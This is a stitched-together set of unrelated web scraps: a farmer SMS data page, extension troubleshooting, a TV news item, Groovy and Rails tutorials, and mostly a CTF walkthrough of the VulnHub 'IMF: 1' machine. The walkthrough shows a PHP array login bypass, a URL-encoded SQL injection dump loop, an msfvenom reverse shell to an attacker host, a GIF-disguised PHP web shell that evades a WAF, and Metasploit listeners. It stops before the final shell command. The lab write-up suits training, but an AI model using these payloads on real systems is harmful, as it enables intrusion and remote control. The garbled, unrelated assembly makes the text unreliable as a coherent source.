Zambia – Farmer SMS Data
Zambia
Monitoring
Tables and Metadata
Click below buttons to access your needful tables
Flow Metadata Management
Contact Metadata Management
Download Inactive Contacts
Download Farmers Responses
Farmers Response Table
- For given question type & time period
from
to
question type
charcoal
coll_fuelwood
coll_water
expected harvest
fertilizer
give maize
harvest
harvest complete
kg 1
kg 1 of 2
kg 2 of 2
maize price
maize purchase
maize purchased
maize sold
maize storage
meat
piecework
planting
planting complete
rain
receive maize
sales amt
storage
variety 1
variety 1 of 2
variety 2 of 2
variety number
weeding
50kg harvest
Submit


If you are experiencing a technical problem with Session Buddy, try the following:
1Restart Chrome
Make sure to shut down Chrome completely.
- On Windows: after closing all Chrome windows, check the tool tray for the Chrome icon. If it is present, right-click it and click Exit.
- On OS X: shut down Chrome by pressing Command+Q. Check the Dock for the Chrome icon. If present, right-click it and click Quit if this menu item is available.
If the problem persists after starting Chrome again, try step 2.
2Reinstall Session Buddy
Make sure to back up your Session Buddy data before reinstalling so that you can restore it into the new installation.
See:
If you are able to access Session Buddy, see: How to Back Up and Restore Session Buddy Data.
If you are NOT able to access Session Buddy, check out the Advanced Backup and Restore Instructions.

After restarting Chrome,
reinstall Session Buddy from the Chrome Web Store.
If you are then able to open Session Buddy without issue, proceed to restore your data according to the instructions linked above
corresponding to the type of backup you performed.
If this step does not solve the problem, proceed to step 3.
When contacting support, please provide as much detail as possible about the trouble you're having. The more information you provide, the better equipped we are to resolve the problem.
Some helpful information to include:
- Specifically what steps lead to the observed failure?
- What are you expecting to happen and what is happening instead?
- Can the observed failure be reliably reproduced?
- When did the trouble start? (eg, after a recent update? after a recent crash?)
- What error messages are displayed by Session Buddy?
- What error messages are displayed in the console? (see the following linked instructions for accessing Session Buddy's console)
- What steps have you taken in an effort to correct the problem?
- Are you synching Chrome extensions or bookmarks through Google?
Additionally helpful items to attach:
- A screenshot or screencast demonstrating the problem. This should include views of the console and Session Buddy's settings dialog, if possible.
- The Session Buddy local user data folder, where sessions and user settings are stored. You do not need to submit this when you first contact support, but we may ask for it to help us troubleshoot if the problem is suspected to be data-related. Refer to the following link for information on locating the user data folder.


The partial two port elementary model extends from the partial
two port model and adds one equation considering the balance of
flow variables, port_p.Phi + port_n.Phi =
Complex(0,0)
. Additionally, a variable for magnetic
potential difference of the two magnetic ports, V_m
,
and the flux into the positive port, Phi
, are
defined.


Netflix has already renewed The Witcher for season 2
Follow Polygon online:
by Charlie HallNetlix has already ordered a second season of The Witcher. The first season of the show, starring Henvil Cavill as Geralt of Rivia, hasn’t even aired yet.
Announced in 2017, The Witcher is based on the original novels by Andrzej Sapkowski and will include nods to the critically-acclaimed role-playing games by CD Projekt Red. The cast includes Freya Allan (The War of the Worlds, Bluebird) as Ciri, and Anya Chalotra (Wanderlust, The ABC Murders) as Yennefer. The series premieres on Dec. 18.
Promotion of the show has not been without its controversies. Early on, fans of the game franchise in particular took issue with casting Cavill, best known for his time as Superman. The recent trailer, however, seems to have calmed down concerns quite a bit. It looks every bit as gritty as it needs to, and the lighting and color grading has reduced the reflectivity in Cavill’s brilliant silver wig, so that’s a plus.


@(user: models.users.User, showings: List[models.Showing], film: models.Film) @adminPages.adminMain("Admin Showing", user) {
Add New Showing
Time:
Date: @s.getDate
Screen No: @s.getScreen
Edit
Delete


Event Overview
|
|
Description:
|
|
|
|
A roadshow to promote our product launch, educate the market, and generate traction.
|
Goals:
|
Develop high-level relationships with clients; create a community for probable prospects.
|
Target Attendees:
|
CEO, CTO, CIO
|
Product:
|
New Products
|
Proposed Budget:
|
$2,100,000
|
Approved Budget:
|
$1,800,000
|
Proj. Attendance:
|
1,500
|
No. of Cities:
|
6
|
Division:
|
Corporate Marketing
|
Content Plan:
|
VP of Product Management presents value proposition. VP of Engineering
describes product architecture.
|
Promotion Plan:
|
Targeted promotion approach. Invite channel partners. Invite largest customers in each city.
Invite key press contacts.
|
Calendar Status:
|
Public viewing enabled [change]
Intranet viewing enabled [change]
|
|
|
Event Team
|
|
Roadshow Dates and Locations
|
|
Related Downloadable Content
|
|
|


Servlet support
You can write (Java) Servlets in Groovy (called Groovlets).
There is also a GroovyServlet
.
This feature will automatically compile your .groovy source files, turn them into bytecode, load the Class and cache it until you change the source file.
Here’s a simple example to show you the kind of things you can do from a Groovlet.
Notice the use of implicit variables to access the session, output and request. Also notice that this is more like a script as it does not have a class wrapper.
if (!session) {
session = request.getSession(true)
}
if (!session.counter) {
session.counter = 1
}
println """
<html>
<head>
<title>Groovy Servlet</title>
</head>
<body>
<p>
Hello, ${request.remoteHost}: ${session.counter}! ${new Date()}
</p>
</body>
</html>
"""
session.counter = session.counter + 1
Or, do the same thing using MarkupBuilder:
if (!session) {
session = request.getSession(true)
}
if (!session.counter) {
session.counter = 1
}
html.html { // html is implicitly bound to new MarkupBuilder(out)
head {
title('Groovy Servlet')
}
body {
p("Hello, ${request.remoteHost}: ${session.counter}! ${new Date()}")
}
}
session.counter = session.counter + 1
1. Implicit variables
The following variables are ready for use in Groovlets:
| variable name | bound to | note |
|---|---|---|
request |
ServletRequest |
- |
response |
ServletResponse |
- |
context |
ServletContext |
- |
application |
ServletContext |
- |
session |
getSession(false) |
can be null! see <1> |
params |
a Map object |
|
headers |
a Map object |
|
out |
response.getWriter() |
see <2> |
sout |
response.getOutputStream() |
see <2> |
html |
new MarkupBuilder(out) |
see <2> |
json |
new StreamingJsonBuilder(out) |
see <2> |
-
The session variable is only set, if there was already a session object. See the
if (session == null)
checks in the examples above. -
These variables cannot be re-assigned inside a
Groovlet
. They are bound on first access, allowing to e.g. calling methods on theresponse
object before usingout
.
2. Setting up groovylets
Add the following to your web.xml
:
<servlet>
<servlet-name>Groovy</servlet-name>
<servlet-class>groovy.servlet.GroovyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Groovy</servlet-name>
<url-pattern>*.groovy</url-pattern>
</servlet-mapping>
Then put the required groovy jar files into WEB-INF/lib
.
Now put the .groovy files in, say, the root directory (i.e. where you would put your html files). The GroovyServlet
takes care of compiling the .groovy files.
So for example using tomcat you could edit tomcat/conf/server.xml
like this:
<Context path="/groovy" docBase="c:/groovy-servlet"/>
Then access it with http://localhost:8080/groovy/hello.groovy


Home
About
This website is made by Ralphie Perez. I'm working on developing Django applications and on my portfolio. Please enjoy!
Contact me
My Portfolio Website
My Linkedin
My GitHub


The world's simplest build server
Enter the URL of your git repo that has a {{buildfilename}} file in the root of the directory.
{{buildfilename}}
...or use curl:
curl
Use the API at api/v1/builds or see API documentation.


Register
Login
Share your code in realtime
Share codes in real time with your friends without having to worry about IDEs or settings.
Register


This guide is an introduction to Active Record.
After reading this guide, you will know:
Active Record is the M in MVC - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
Active Record was described by Martin Fowler in his book Patterns of Enterprise Application Architecture. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
Active Record gives us several mechanisms, the most important being the ability to:
When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you’ll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can’t follow the conventions for any reason.
By default, Active Record uses some naming conventions to find out how the
mapping between models and database tables should be created. Rails will
pluralize your class names to find the respective database table. So, for
a class Book
, you should have a database table called books. The Rails
pluralization mechanisms are very powerful, being capable to pluralize (and
singularize) both regular and irregular words. When using class names composed
of two or more words, the model class name should follow the Ruby conventions,
using the CamelCase form, while the table name must contain the words separated
by underscores. Examples:
book_clubs
)BookClub
)| Model / Class | Table / Schema |
|---|---|
Post |
posts |
LineItem |
line_items |
Deer |
deer |
Mouse |
mice |
Person |
people |
Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
singularized_table_name_id
(e.g., item_id
, order_id
). These are the
fields that Active Record will look for when you create associations between
your models.id
as the table’s primary key. When using Rails
Migrations to create your tables, this column will be
automatically created.There are also some optional column names that will create additional features to Active Record instances:
created_at
- Automatically gets set to the current date and time when the
record is first created.updated_at
- Automatically gets set to the current date and time whenever
the record is updated.lock_version
- Adds optimistic
locking to
a model.type
- Specifies that the model uses Single Table
Inheritance(association_name)_type
- Stores the type for
polymorphic associations.(table_name)_count
- Used to cache the number of belonging objects on
associations. For example, a comments_count
column in a Post
class that
has many instances of Comment
will cache the number of existent comments
for each post.NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, type
is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like “context”, that may still accurately describe the data you are modeling.
It is very easy to create Active Record models. All you have to do is to
subclass the ActiveRecord::Base
class and you’re good to go:
class Product < ActiveRecord::Base end
This will create a Product
model, mapped to a products
table at the
database. By doing this you’ll also have the ability to map the columns of each
row in that table with the attributes of the instances of your model. Suppose
that the products
table was created using an SQL sentence like:
CREATE TABLE products ( id int(11) NOT NULL auto_increment, name varchar(255), PRIMARY KEY (id) );
Following the table schema above, you would be able to write code like the following:
p = Product.new p.name = "Some Book" puts p.name # "Some Book"
What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
You can use the ActiveRecord::Base.table_name=
method to specify the table
name that should be used:
class Product < ActiveRecord::Base self.table_name = "PRODUCT" end
If you do so, you will have to define manually the class name that is hosting
the fixtures (class_name.yml) using the set_fixture_class
method in your test
definition:
class FunnyJoke < ActiveSupport::TestCase set_fixture_class funny_jokes: 'Joke' fixtures :funny_jokes ... end
It’s also possible to override the column that should be used as the table’s
primary key using the ActiveRecord::Base.set_primary_key
method:
class Product < ActiveRecord::Base set_primary_key "product_id" end
CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update and Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
Active Record objects can be created from a hash, a block or have their
attributes manually set after creation. The new
method will return a new
object while create
will return the object and save it to the database.
For example, given a model User
with attributes of name
and occupation
,
the create
method call will create and save a new record into the database:
user = User.create(name: "David", occupation: "Code Artist")
Using the new
method, an object can be instantiated without being saved:
user = User.new user.name = "David" user.occupation = "Code Artist"
A call to user.save
will commit the record to the database.
Finally, if a block is provided, both create
and new
will yield the new
object to that block for initialization:
user = User.new do |u| u.name = "David" u.occupation = "Code Artist" end
Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
# return a collection with all users users = User.all
# return the first user user = User.first
# return the first user named David david = User.find_by_name('David')
# find all users named David who are Code Artists and sort by created_at in reverse chronological order users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
You can learn more about querying an Active Record model in the Active Record Query Interface guide.
Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
user = User.find_by_name('David') user.name = 'Dave' user.save
A shorthand for this is to use a hash mapping attribute names to the desired value, like so:
user = User.find_by_name('David') user.update(name: 'Dave')
This is most useful when updating several attributes at once. If, on the other
hand, you’d like to update several records in bulk, you may find the
update_all
class method useful:
User.update_all "max_login_attempts = 3, must_change_password = 'true'"
Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
user = User.find_by_name('David') user.destroy
Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more.
Validation is a very important issue to consider when persisting to database, so
the methods create
, save
and update
take it into account when
running: they return false
when validation fails and they didn’t actually
perform any operation on database. All of these have a bang counterpart (that
is, create!
, save!
and update!
), which are stricter in that
they raise the exception ActiveRecord::RecordInvalid
if validation fails.
A quick example to illustrate:
class User < ActiveRecord::Base validates :name, presence: true end User.create # => false User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
You can learn more about validations in the Active Record Validations guide.
Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the Active Record Callbacks guide.
Rails provides a domain-specific language for managing a database schema called
migrations. Migrations are stored in files which are executed against any
database that Active Record support using rake
. Here’s a migration that
creates a table:
class CreatePublications < ActiveRecord::Migration def change create_table :publications do |t| t.string :title t.text :description t.references :publication_type t.integer :publisher_id t.string :publisher_type t.boolean :single_issue t.timestamps end add_index :publications, :publication_type_id end end
Rails keeps track of which files have been committed to the database and
provides rollback features. To actually create the table, you’d run rake db:migrate
and to roll it back, rake db:rollback
.
Note that the above code is database-agnostic: it will run in MySQL, postgresql, Oracle and others. You can learn more about migrations in the Active Record Migrations guide


Click Here to Download Free Internet Encryption Software
Click Here
For
Info on NetShadeTM for
Windows
Click Here
for
Info on Our Other Networking Products
Atemi Corporation
202 W. Hill, Suite 3W
Champaign, IL 61820-3539
(217) 352-3688
FAX<PHONE_NUMBER>
E-mail<EMAIL_ADDRESS>** This site was last modified on December 30, 1996 **
[NOTE: Atemi is a registered trademark, and NetShade and
AtemiConnect are trademarks, of Atemi Corporation.]
|


This documentation refers to version 1.0.0.
Installation
Enter search terms or a module, class or function name.


---
layout: post
title: "IMF: 1"
date: 2019-05-02 20:09:14 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, base64, sqli, qr code, waf bypass, port knock, ltrace, gdb, gdb-peda]
---
Hostname: imf
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/imf# nmap -Pn -sT -sV -sC -A -oA imf -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-02 16:13 EDT
Nmap scan report for imf.homenet.dom (<IP_ADDRESS>)
Host is up (0.0014s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.39 ms imf.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.36 seconds
Gaining Access
With only one port open, we don't have to worry about where to start. 😄 Before browsing to the default site, though, let's run nikto to see if we can get any more information than nmap returned.
root@kali:~/Walkthroughs/imf# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-05-02 16:17:20 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "<IP_ADDRESS>".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "<IP_ADDRESS>".
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2019-05-02 16:18:24 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Surprisingly, nikto didn't return much of anything (that we didn't already know). Manually checking for a robots.txt file also came up empty. Time to fire up dirb to see if there is anything on this service we can dig into.
root@kali:~/Walkthroughs/imf# dirb http://<IP_ADDRESS> /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-<IP_ADDRESS>.txt
START_TIME: Thu May 2 16:18:51 2019
URL_BASE: http://<IP_ADDRESS>/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://<IP_ADDRESS>/ ----
==> DIRECTORY: http://<IP_ADDRESS>/css/
==> DIRECTORY: http://<IP_ADDRESS>/fonts/
==> DIRECTORY: http://<IP_ADDRESS>/images/
==> DIRECTORY: http://<IP_ADDRESS>/js/
+ http://<IP_ADDRESS>/server-status (CODE:403|SIZE:300)
---- Entering directory: http://<IP_ADDRESS>/css/ ----
---- Entering directory: http://<IP_ADDRESS>/fonts/ ----
---- Entering directory: http://<IP_ADDRESS>/images/ ----
---- Entering directory: http://<IP_ADDRESS>/js/ ----
==> DIRECTORY: http://<IP_ADDRESS>/js/vendor/
---- Entering directory: http://<IP_ADDRESS>/js/vendor/ ----
-----------------
END_TIME: Thu May 2 16:20:54 2019
DOWNLOADED: 122748 - FOUND: 1
Well, looks like we got a (very) little bit more. Time to go ahead and download the site and start digging through it manually.
root@kali:~/Walkthroughs/imf# wget -m http://<IP_ADDRESS>
Digging through the downloaded site, we find our first flag in a comment in the contact.php page.

The Base64 string in the flag decodes to 'allthefiles'. The write up for this VM on VulnHub states that each flag is supposed to lead you to the next flag. This first flag is contained in the section of employee names, so I'm guessing the next flag has to do with one or all of the employees.
The contact.php page displays a form to submit as well as a list of three employees.
From this we can see the format of email addresses the company uses (first initial + last name), which might be helpful if we have to brute force some additional usernames/email addresses. Also, the last employee listed has a font awesome icon 'fa-file-text'. Not sure if that plays into our 'allthefiles' hint?
I'll go ahead and visit the contact.php page and submit the form to see what happens... nothing at all. There doesn't seem to be any validation in the user input or any messages returned. Moving on...
The projects.php page contains lots of fun names in all caps...
-
ANGRYCHASER
-
ROUTECHEF
-
BIZARREMASTER
-
PLOWPLOW
-
SILENTARK
-
ODDSOUFFLE
-
SPORKSQUIRREL
Digging further into the downloaded site, we have several JS files with what appear to be random names. Having seen, though, that the flags are going to be Base64 encoded, it might be that the JS file names are encoded. Let's try to decode each file name.
-
eVlYUnZjZz09fQ==.min.js - decodes to yYXRvcg==} (this looks like a partial flag)
-
XUnRhVzVwYzNS.js - decodes to ]I\ (ASCII) (this looks like... junk?)
-
ZmxhZzJ7YVcxbVl.js - decodes to flag2{aW1mY (this looks like a partial flag)
Interesting. This looks like we are getting close, but that middle file doesn't seem quite right. Let's see what we get if we combine all the file names and do one decode.
root@kali:~/Walkthroughs/imf# echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
That's better. We've got our second flag. Now, if we decode the Base64 string inside the flag, we get the string 'imfadministrator'. Let's see if that is a new URL for our site.
Nice! We have a login form now.
Checking the login page source code, we see the following comment.
Sounds like we are going to have to brute force the password instead of trying SQL injection.
We have a few usernames we can try (thanks to the contact page). We'll use hydra to try to brute force a login. Before doing that though, we tested the login form (using test:test) and found that it comes back with a pretty specific error.
Let's see if we can try our usernames from the contact page and get a different error message.
Trying akeith and estone resulted in the same 'Invalid username' error. However, trying rmichaels returned an 'Invalid password' error.
Now that we have zeroed in on a valid username, we can start our brute force password attack. I started with a list of words from the projects.php page (just hoping for the best). Unfortunately, none worked. I also tried some other large dictionaries, but still got nothing. Based on Roger's comment in the page, I started to doubt if I'd ever be able to brute force the 'mad secure' password. So I started to look for alternatives.
The solution here is pretty crazy, actually. After doing some digging/Googling, it appears that you can change the 'pass' parameter name to an array (with no value) and PHP will just accept that as valid (I guess, 'defined').
To be able to do this little trick, I fired up Burp Suite and intercepted my login request.
Changing the 'pass' field to pass[] and forwarding on the request resulted in the following response.
Crazy!
As soon as we see this page, we jump on the 'Upload Report' link (thinking we are moments away from uploading a reverse shell), but we are greeted with the following.
😞 However, we notice the link is passing a parameter to load a specific page.
Let's see if we can manipulate the parameter to load random files on the system.
Nope! Let's see if the upload 'page' is something being loaded from within the same directory.
Nope! and Nope!
Let's see if the upload parameter might be vulnerable to SQL injection (despite the comment from earlier about not being able to get the database working). We'll try to add a single quote to the parameter to see if things break.
OK. Might be getting somewhere with this. After trying lots of things, I was finally able to start getting queries to work using the following format for the pagename query string parameter
pagename=1' union select (QUERY) order by '1
This worked fine for executing built-in commands, but when I tried to start pulling schema data, I started running into an error due to my subqueries returning null. Digging more into SQL syntax (and with some help from sqlmap), I was able to improve my query by wrapping my column names with the 'ifnull' and 'cast' functions.
pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(%column_name% as char),0x20), 0x23) from %schema.table% limit 1 offset %num%#
NOTE: I put percent signs (%) around fields we will change based on our query.
NOTE: I'm using concat_ws (concat with separator) to combine my columns into one string. The first parameter is the separator (0x2E = '.'). I'm also placing a '#' sign (0x23) at the start and end of my list of columns. This will result in a value like %.col1.col2.col3.%, which should make it easier to parse out of the page using grep.
The ifnull statement will return the second parameter (in my case, a space) if the first parameter comes back as null. We are also ensuring all values get returned as text.
Another key to getting things working properly was to URL encode the query so the 'hash' character at the end of the query string isn't viewed as an anchor in the page, but is actually passed along to the backend (as a comment character). When doing SQL injection into a form, you don't have to worry about this... but doing SQL injection through a query string, you really need to URL encode it.
Now that I've got a working query, I can download all the database schema information (databases, tables, columns... excluding system databases) using the following query...
pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(table_schema as char),0x20), ifnull(cast(table_name as char),0x20), ifnull(cast(column_name as char),0x20), 0x23) from information_schema.columns where table_schema != 'performance_schema' and table_schema != 'information_schema' and table_schema != 'sys' and table_schema != 'mysql' limit 1 offset 0#
NOTE: I put the fields from earlier that were marked with percent sings in green.
Set in a loop (and URL encoded)...
for num in $(seq 0 500); do wget -q -O ${num}.html --header="Cookie: PHPSESSID=cg3jnchk94fv0qjn8ca8ttv4t2" "http://<IP_ADDRESS>/imfadministrator/cms.php?pagename=1%27%20union%20all%20select%20concat_ws%280x2E%2C%200x23%2C%20ifnull%28cast%28table_schema%20as%20char%29%2C0x20%29%2C%20ifnull%28cast%28table_name%20as%20char%29%2C0x20%29%2C%20ifnull%28cast%28column_name%20as%20char%29%2C0x20%29%2C%200x23%29%20from%20information_schema.columns%20where%20table_schema%20%21%3D%20%27performance_schema%27%20and%20table_schema%20%21%3D%20%27information_schema%27%20and%20table_schema%20%21%3D%20%27sys%27%20and%20table_schema%20%21%3D%20%27mysql%27%20limit%201%20offset%20${num}%23"; done
Then I can extract the information from the HTML files using grep.
root@kali:~/Walkthroughs/imf/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-4 | sort -u
admin.pages.id
admin.pages.pagedata
admin.pages.pagename
We only have one non-system database (admin) with one table (pages) with three columns (id, pagedata, pagename). We'll pull the available pagenames to see if there is a working 'upload' page (or anything else interesting).
Our query...
pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(pagename as char),0x20), 0x23) from admin.pages limit 1 offset 0#
Set in a loop (and URL encoded)...
for num in $(seq 0 500); do wget -q -O ${num}.html --header="Cookie: PHPSESSID=cg3jnchk94fv0qjn8ca8ttv4t2" "http://<IP_ADDRESS>/imfadministrator/cms.php?pagename=1%27%20union%20all%20select%20concat_ws%280x2E%2C%200x23%2C%20ifnull%28cast%28pagename%20as%20char%29%2C0x20%29%2C%200x23%29%20from%20admin.pages%20limit%201%20offset%20${num}%23"; done
Then extracting results using grep...
root@kali:~/Walkthroughs/imf/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2 | sort -u
disavowlist
home
tutorials-incomplete
upload
Looks like there is only one additional page we don't know about. Let's check it out.
Interesting. We have an image with lots of writing on a white board, plus a QR code. We'll download the image and see what's in the QR code (using zbarimg).
root@kali:~/Walkthroughs/imf# wget http://<IP_ADDRESS>/imfadministrator/images/whiteboard.jpg
--2019-05-03 10:04:01-- http://<IP_ADDRESS>/imfadministrator/images/whiteboard.jpg
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 58816 (57K) [image/jpeg]
Saving to: 'whiteboard.jpg'
whiteboard.jpg 100%[=======================================================================>] 57.44K --.-KB/s in 0s
2019-05-03 10:04:01 (161 MB/s) - 'whiteboard.jpg' saved [58816/58816]
root@kali:~/Walkthroughs/imf# zbarimg whiteboard.jpg
QR-Code:flag4{dXBsb2Fkcjk0Mi5waHA=}
scanned 1 barcode symbols from 1 images in 0.11 seconds
Nice! We found another flag. Let's see what's inside.
root@kali:~/Walkthroughs/imf# echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d
uploadr942.php
Finally! An upload page. 😄
At this point, we don't know if there are any file restrictions, so we'll just create a PHP reverse shell (using msfvenom) and try to upload it.
root@kali:~/Walkthroughs/imf# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=443 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3026 bytes
Trying to upload the PHP file "as is" resulted in a error (Error: Invalid file type.). I'll rename the file with a .jpg extension and see if that works.
OK. Not going to be easy. Nothing has so far, so I'm not surprised. Let's try base64 encoding our payload and see if that works.
root@kali:~/Walkthroughs/imf# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=443 -e php/base64 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4041 (iteration=0)
php/base64 chosen with final size 4041
Payload size: 4041 bytes
Next, I tried creating a PHP file with a simple PHP cmd processor.
<?php echo system($_GET["cmd"]); ?>
But got this...
Doing some research into WAF bypass techniques (
https://securityonline.info/bypwass-waf-upload-shell-webserver/), I decided to try to create an image file with the right "signature", but then have it contain PHP code. As listed on the page linked (and manually confirmed through some hex dump tests I did), here are common image signatures (occurring at the start of the file).
jpg (JFIF): FFD8FFEO00104A464946
gif (GIF89a):<PHONE_NUMBER>61
png (PNG): 89504E47
I'll create a test GIF using the following commands.
root@kali:~/Walkthroughs/imf# echo "474946383961" | xxd -r -p > test.gif
root@kali:~/Walkthroughs/imf# echo "<?php phpinfo(); ?>" >> test.gif
root@kali:~/Walkthroughs/imf# hexdump -C test.gif
00000000 47 49 46 38 39 61 3c 3f 70 68 70 20 70 68 70 69 |GIF89a<?php phpi|
00000010 6e 66 6f 28 29 3b 20 3f 3e 0a |nfo(); ?>.|
0000001a
Trying to upload the file returns a "File successfully uploaded." message, but I'm not able to access it in the /uploads/ folder I detected earlier.
Checking the HTML returned by a successful upload, I noticed the following comment.
Nice! My GIF file is getting run as PHP code (not normal, but O.K.). Let's see if we can use the same technique with our simple PHP cmd processor from earlier (with a few tweaks). Since I know the WAF won't allow me to use the system command, I'll try to use backticks to execute a system command.
<?php $cmd=$_GET['cmd']; echo `$cmd`; ?>
I'll recreate my GIF image.
root@kali:~/Walkthroughs/imf# echo "474946383961" | xxd -r -p > test.gif
root@kali:~/Walkthroughs/imf# echo "<?php \$cmd=\$_GET[\"cmd\"]; echo \`\$cmd\`; ?>" >> test.gif
root@kali:~/Walkthroughs/imf# hexdump -C test.gif
00000000 47 49 46 38 39 61 3c 3f 70 68 70 20 24 63 6d 64 |GIF89a<?php $cmd|
00000010 3d 24 5f 47 45 54 5b 22 63 6d 64 22 5d 3b 20 65 |=$_GET["cmd"]; e|
00000020 63 68 6f 20 60 24 63 6d 64 60 3b 20 3f 3e 0a |cho `$cmd`; ?>.|
0000002f
The upload is successful and checking the comment in the page, my new file id is 20ddebdee890. Let's test it out.
😄😄😄 It took us a long time and LOTS of trial and error to get to this point. Time to get our reverse shell!
First, we'll fire up our listeners in Metasploit. I like to start two listeners so I can get the first session connected via the HTTP request (which is often short lived) and the second session started from the victim itself.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
Now we can pass our URL encoded reverse shell command. Here is the command we are encoding.
